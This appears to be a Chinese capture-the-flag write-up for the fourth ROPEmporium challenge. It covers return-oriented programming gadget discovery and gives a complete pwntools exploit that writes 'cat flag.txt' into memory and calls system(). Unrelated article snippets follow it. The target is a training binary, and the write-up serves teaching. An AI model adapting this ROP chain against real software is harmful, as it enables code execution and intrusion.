ROPEmporium通關全解(四)

2021-10-01 16:35:28 字數 2918 閱讀 7206

前言

1.關於rop

rop的全稱為return-oriented programming(返回導向程式設計),這是一種高階的記憶體攻擊技術可以用來繞過現代作業系統的各種通用防禦(比如記憶體不可執行和**簽名等)

rop是一種攻擊技術,其中攻擊者使用堆疊的控制來在現有程式**中的子程式中的返回指令之前,立即間接地執行精心挑選的指令或機器指令組。

2. 本系列rop實戰題目的背景

來自ropemporium

旨在通過解決一系列挑戰來一步步高階學習rop利用技術。

操作

來到第四關

先通過rabin2 看一下基礎的檔案資訊

或者也可以通過radare2檢視是否設定了nx

在前面的實驗中當我們需要列印flag時,用的是檔案自身的字串,我們看看這題裡有沒有,直接使用strings配合grep過濾

接下來先看看涉及的函式

看看usefulfunction裡會不會有我們需要的資訊,反彙編它

不過我們想執行的是cat flag.txt的命令,因為二進位制檔案中不存在這種字串,所以我們需要手動進行。

首先需要考慮的是,把cat flag.txt寫到哪個位址

可以看到列印出一系列的section,我們需要在其中找到乙個合適的,在其中我們可以寫入值。

可以看到這個位址是空的,所以我們寫入這裡是ok的

接下來我們還是需要ropgadget找到特定的gadget讓我們能夠將字串放入這兒

這裡列印出了很多gadget,那麼我們需要怎樣的呢

首先這個gadget要能夠將值寫入記憶體位址,在彙編中一般是通過mov體現,比如mov [r0],r1這樣子,這條彙編的意思是將值從暫存器r1移動到暫存器r0所儲存的記憶體位址處。

下圖紅色選中的就符合要求

現在我們可以將值寫入記憶體了,但是我們還需要pop,才能將值寫入暫存器中

位址為0x400890

我們還需要返回並獲取system()的位址,並且為了將字串的位址作為呼叫system()時的引數,還需要pop rdi

位址是0x400893

現在關鍵的位址都有了,可以編寫我們的exp了

關鍵點包括:

使用pop gadget將字串的位址和字串放在暫存器中

使用mov gadget將字串放入給出的記憶體位址中

使用pop rdi gadget將字串的位址放入暫存器

呼叫system(),它使用已經儲存了字串位址的rdi暫存器作為引數暫存器

完整的**在4.py

from pwn import *

def place_string_at_address(mov_gadget_address, pop_gadget_address, string_address, string):

while len(string) % 8 != 0:

string += "\x00"

splitted_string = [string[i:i + 8] for i in range(0, len(string), 8)]

payload = ""

for i in range(len(splitted_string)):

# place the gadgets into the payload.

payload += p64(pop_gadget_address)

payload += p64(string_address + (i * 8))

payload += splitted_string[i]

payload += p64(mov_gadget_address)

return payload

# 40 bytes of random data.

offset = 'a' * 40

offset += place_string_at_address(0x400820, 0x400890, 0x601050, "cat flag.txt")

offset += p64(0x0000000000400893) # address of pop rdi

offset += p64(0x0000000000601050) # address of string

offset += p64(0x00400810) # address of system()

print(offset)

執行後如圖,拿到了flag

拿到了flag

ROPEmporium通關全解(二)

前言 關於rop rop的全稱為return oriented programming 返回導向程式設計 這是一種高階的記憶體攻擊技術可以用來繞過現代作業系統的各種通用防禦 比如記憶體不可執行和 簽名等 rop是一種攻擊技術,其中攻擊者使用堆疊的控制來在現有程式 中的子程式中的返回指令之前,立即間接...

PD3 0詳解 電源規則,全解!!!全解!!!

大師匈今天談一下pd3.0的電源規則,pd3.0標準標定的規則。usb協會聲稱,為了世界和平世界環境,讓大家用上統一標準的充電器,不用再為每乙個用電裝置都配乙個專門的充電器,這些充電器各種各樣的都有,所以有時候大師匈也很煩!那麼為了維護世界和平,usb協議呢就制訂了這個pd快充協議,還有它的規則,只...

Berkeley DB使用全解

在開發桌面級應用程式時,常常需要用到可持續儲存技術,做為儲存程式在退出之前所使用的資料,如變數,物件,視窗位置,大小.一般我們會使用office access這類桌面型檔案資料庫,或者是使用登錄檔.但是它們都有一些不盡人意的缺陷.比如 1.mdb檔案無法在沒有安裝office的系統上訪問,直少得需要...